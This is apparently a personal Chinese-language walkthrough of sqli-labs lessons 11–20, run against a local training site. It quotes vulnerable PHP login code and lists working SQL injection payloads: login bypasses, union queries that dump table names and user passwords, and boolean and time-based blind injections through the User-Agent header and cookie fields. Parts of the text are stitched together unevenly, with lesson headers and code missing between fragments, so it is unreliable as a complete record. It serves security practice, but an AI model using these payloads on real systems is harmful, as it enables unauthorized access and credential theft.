以下内容 只是本人在做 sqli-lab 练习时 写下的记录，仅供参考。
因为本人学过一些 sql注入 的内容，所以大部分内容是没有讲解的，如有不清楚的地方，请自行使用搜索引擎查询，相信会得到所需的内容。
Less - 11 Error Based- String
（第11课：基于错误 - 字符型）
Test:
http://localhost/sqli-lab/Less-11/index.php
uname=' &passwd=' &submit=Submit注：这个是报错的。
建议用火狐浏览器的HackBar或者Burp来做测试
POST 格式 是用 Burp 截的，其实变量名可以直接右键看网页的源代码。
听说过万能密码么？可以考虑使用
Sourse Code：
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
echo '
';
}else{
print_r(mysql_error());
echo '
';
}Solution：
uname= ' or '1'='1 &passwd= ' or '1'='1 &submit=Submit
uname= ' or 1=1 --+ &passwd= ' or 1=1 --+ &submit=Submit
uname= ' or 1=1 # &passwd= ' or 1=1 # &submit=Submit
其它：
uname= ' union select database(),6 --+ &passwd= ' union select database(),6 --+ &submit=Submit
uname= ' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),6 --+ &passwd= ' --+ &submit=Submit

uname=" or 1=1 # &passwd=" or 1=1 # &submit=Submit

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){

}else{
echo '';
}Solution：
uname=' or '1'='1 &passwd=' or '1'='1 &submit=Submit
uname=' or 1=1 #&passwd=' or 1=1 #&submit=Submit
其它：
uname=' or (length(database())) = 8 #&passwd=' or 1=1 #&submit=Submit
uname=' or (ascii(substr((select database()) ,1,1))) = 115 #&passwd=' or 1=1 #&submit=SubmitLess - 16 Blind- Time Based- Double quotes- String

uname=") or 1=1 # &passwd=") or 1=1 # &submit=Submit注：第一个错了，第二个对了，被双引号包围，没有回显，考虑盲注。
它的回显图片暴露了对错，所以是基于布尔值或是基于时间都行。

注：建议使用火狐的Modify Headers 或 Burp 修改 user-agent的值
已经将上一次练习中动过的 数据库的值改回来了。
Sourse Code：
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

mysql_query($insert);
echo 'Your User Agent is: ' .$uagent;
print_r(mysql_error());
echo '';
}else{
print_r(mysql_error());
echo '';
}注：对 $uname和$passwd字段有检查
Solution：
' or '1' = '1
其它：
' or (length(database())) = 8 or if(1=1, sleep(5), null) or '1' = '1注：以上是user agent 的值，基于时间的盲注，如果不对会延时5s

Less - 20 POST - Cookie injections - Uagent field - error based
（第20课：POST – cookie 注入 - Uagent字段 - 基于错误）
Test：
http://localhost/sqli-lab/Less-20/index.php
uname=Dumb&passwd=Dumb&submit=Submit注：先登录，比如你知道一个账号 uname：Dumb，pwd：Dumb
登录以后会显示用户名 密码 Id cookie IP地址 User Agent。
可以使用火狐浏览器的Firebug来修改cookie中$uname的值。
记得把过期时间也改了，不然刚改完$uname的值，cookie就过期了。。。
Sourse Code：
无cookie时 登录部分
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1){
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php');
print_r(mysql_error());
echo '';
}else{
print_r(mysql_error());
echo '';
}
有cookie时 登录部分
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result){
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row){
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
echo 'Your ID:' .$row['id'];
}else{
echo '';
}注：对 $uname和$passwd字段有检查，有cookie时 从数据库中显示的数据是 username、password和id
Solution：
Dumb ' or 1=1 #
其它：
' union select 1,database(),6 or 1=1 #
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
' union select 1,group_concat(username),group_concat(password) from security.users #注：以上是cookie中uname的值
